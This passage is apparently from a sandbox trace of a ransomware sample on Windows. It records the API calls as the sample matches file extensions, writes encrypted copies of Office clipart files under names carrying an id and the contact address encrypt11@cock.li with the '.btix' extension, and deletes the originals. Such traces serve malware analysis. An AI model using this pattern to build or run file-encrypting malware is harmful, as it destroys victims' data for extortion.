(lpString1=".jpg", lpString2=".WMF") returned -1 [0142.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0142.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0142.029] lstrlenW (lpString=".doc") returned 4 [0142.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.030] lstrlenW (lpString=".docx") returned 5 [0142.030] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0142.030] lstrlenW (lpString=".pdf") returned 4 [0142.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.030] lstrlenW (lpString=".xls") returned 4 [0142.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.030] lstrlenW (lpString=".xlsx") returned 5 [0142.030] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0142.030] lstrlenW (lpString=".ppt") returned 4 [0142.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0142.030] lstrlenW (lpString=".zip") returned 4 [0142.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.030] lstrlenW (lpString=".rar") returned 4 [0142.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.030] lstrlenW (lpString=".bz2") returned 4 [0142.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.030] lstrlenW (lpString=".7z") returned 3 [0142.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0142.030] lstrlenW (lpString=".dbf") returned 4 [0142.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0142.030] lstrlenW (lpString=".1cd") returned 4 [0142.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0142.030] lstrlenW (lpString=".jpg") returned 4 [0142.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.031] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.031] lstrlenW (lpString="J0105244.WMF") returned 12 [0142.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0142.031] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11228) returned 1 [0142.031] CloseHandle (hObject=0x508) returned 1 [0142.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220 [0142.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0142.032] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.032] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.032] GetLastError () returned 0x0 [0142.032] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x2bdc, lpOverlapped=0x0) returned 1 [0142.044] WriteFile (in: hFile=0x54c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0142.046] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.046] WriteFile (in: hFile=0x54c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0142.046] SetEndOfFile (hFile=0x54c) returned 1 [0142.046] CloseHandle (hObject=0x54c) returned 1 [0142.046] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.046] SetEndOfFile (hFile=0x508) returned 1 [0142.050] CloseHandle (hObject=0x508) returned 1 [0142.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0142.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0142.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0142.051] lstrlenW (lpString=".doc") returned 4 [0142.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.051] lstrlenW (lpString=".docx") returned 5 [0142.051] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0142.051] lstrlenW (lpString=".pdf") returned 4 [0142.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.051] lstrlenW (lpString=".xls") returned 4 [0142.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.051] lstrlenW (lpString=".xlsx") returned 5 [0142.051] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0142.051] lstrlenW (lpString=".ppt") returned 4 [0142.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0142.051] lstrlenW (lpString=".zip") returned 4 [0142.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.052] lstrlenW (lpString=".rar") returned 4 [0142.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.052] lstrlenW (lpString=".bz2") returned 4 [0142.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.052] lstrlenW (lpString=".7z") returned 3 [0142.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0142.052] lstrlenW (lpString=".dbf") returned 4 [0142.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0142.052] lstrlenW (lpString=".1cd") returned 4 [0142.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0142.052] lstrlenW (lpString=".jpg") returned 4 [0142.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0142.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0142.052] lstrlenW (lpString=".doc") returned 4 [0142.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.052] lstrlenW (lpString=".docx") returned 5 [0142.052] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0142.052] lstrlenW (lpString=".pdf") returned 4 [0142.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.052] lstrlenW (lpString=".xls") returned 4 [0142.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.052] lstrlenW (lpString=".xlsx") returned 5 [0142.052] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0142.052] lstrlenW (lpString=".ppt") returned 4 [0142.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0142.053] lstrlenW (lpString=".zip") returned 4 [0142.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.053] lstrlenW (lpString=".rar") returned 4 [0142.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString=".bz2") returned 4 [0142.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString=".7z") returned 3 [0142.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0142.053] lstrlenW (lpString=".dbf") returned 4 [0142.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0142.053] lstrlenW (lpString=".1cd") returned 4 [0142.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0142.053] lstrlenW (lpString=".jpg") returned 4 [0142.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.053] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.053] lstrlenW (lpString="J0105246.WMF") returned 12 [0142.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0142.054] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=19328) returned 1 [0142.054] CloseHandle (hObject=0x508) returned 1 [0142.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220 [0142.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0142.054] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.055] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.056] GetLastError () returned 0x0 [0142.056] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x4b80, lpOverlapped=0x0) returned 1 [0142.063] WriteFile (in: hFile=0x54c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x4b90, lpOverlapped=0x0) returned 1 [0142.065] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.065] WriteFile (in: hFile=0x54c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0142.065] SetEndOfFile (hFile=0x54c) returned 1 [0142.065] CloseHandle (hObject=0x54c) returned 1 [0142.066] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.066] SetEndOfFile (hFile=0x508) returned 1 [0142.069] CloseHandle (hObject=0x508) returned 1 [0142.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0142.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0142.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0142.071] lstrlenW (lpString=".doc") returned 4 [0142.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.071] lstrlenW (lpString=".docx") returned 5 [0142.071] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0142.071] lstrlenW (lpString=".pdf") returned 4 [0142.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.071] lstrlenW (lpString=".xls") returned 4 [0142.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.071] lstrlenW (lpString=".xlsx") returned 5 [0142.071] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0142.071] lstrlenW (lpString=".ppt") returned 4 [0142.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0142.071] lstrlenW (lpString=".zip") returned 4 [0142.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.071] lstrlenW (lpString=".rar") returned 4 [0142.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.071] lstrlenW (lpString=".bz2") returned 4 [0142.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.071] lstrlenW (lpString=".7z") returned 3 [0142.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0142.071] lstrlenW (lpString=".dbf") returned 4 [0142.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0142.071] lstrlenW (lpString=".1cd") returned 4 [0142.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0142.071] lstrlenW (lpString=".jpg") returned 4 [0142.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0142.072] lstrlenW (lpString=".doc") returned 4 [0142.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString=".docx") returned 5 [0142.072] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0142.072] lstrlenW (lpString=".pdf") returned 4 [0142.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString=".xls") returned 4 [0142.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.072] lstrlenW (lpString=".xlsx") returned 5 [0142.072] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0142.072] lstrlenW (lpString=".ppt") returned 4 [0142.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0142.072] lstrlenW (lpString=".zip") returned 4 [0142.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.072] lstrlenW (lpString=".rar") returned 4 [0142.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString=".bz2") returned 4 [0142.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString=".7z") returned 3 [0142.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0142.072] lstrlenW (lpString=".dbf") returned 4 [0142.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0142.073] lstrlenW (lpString=".1cd") returned 4 [0142.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0142.073] lstrlenW (lpString=".jpg") returned 4 [0142.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.073] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.073] lstrlenW (lpString="J0105250.WMF") returned 12 [0142.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0142.074] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4628) returned 1 [0142.074] CloseHandle (hObject=0x508) returned 1 [0142.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220 [0142.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0142.075] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.075] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0142.409] GetLastError () returned 0x0 [0142.409] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x1214, lpOverlapped=0x0) returned 1 [0142.417] WriteFile (in: hFile=0x55c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x1220, lpOverlapped=0x0) returned 1 [0142.418] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.418] WriteFile (in: hFile=0x55c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0142.419] SetEndOfFile (hFile=0x55c) returned 1 [0142.659] CloseHandle (hObject=0x55c) returned 1 [0142.672] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.672] SetEndOfFile (hFile=0x508) returned 1 [0142.675] CloseHandle (hObject=0x508) returned 1 [0142.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0142.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0142.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0142.675] lstrlenW (lpString=".doc") returned 4 [0142.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.676] lstrlenW (lpString=".docx") returned 5 [0142.676] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0142.676] lstrlenW (lpString=".pdf") returned 4 [0142.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.676] lstrlenW (lpString=".xls") returned 4 [0142.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.676] lstrlenW (lpString=".xlsx") returned 5 [0142.676] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0142.676] lstrlenW (lpString=".ppt") returned 4 [0142.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0142.676] lstrlenW (lpString=".zip") returned 4 [0142.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.676] lstrlenW (lpString=".rar") returned 4 [0142.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.676] lstrlenW (lpString=".bz2") returned 4 [0142.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.676] lstrlenW (lpString=".7z") returned 3 [0142.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0142.676] lstrlenW (lpString=".dbf") returned 4 [0142.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0142.676] lstrlenW (lpString=".1cd") returned 4 [0142.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0142.676] lstrlenW (lpString=".jpg") returned 4 [0142.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0142.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0142.677] lstrlenW (lpString=".doc") returned 4 [0142.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.677] lstrlenW (lpString=".docx") returned 5 [0142.677] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0142.677] lstrlenW (lpString=".pdf") returned 4 [0142.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.677] lstrlenW (lpString=".xls") returned 4 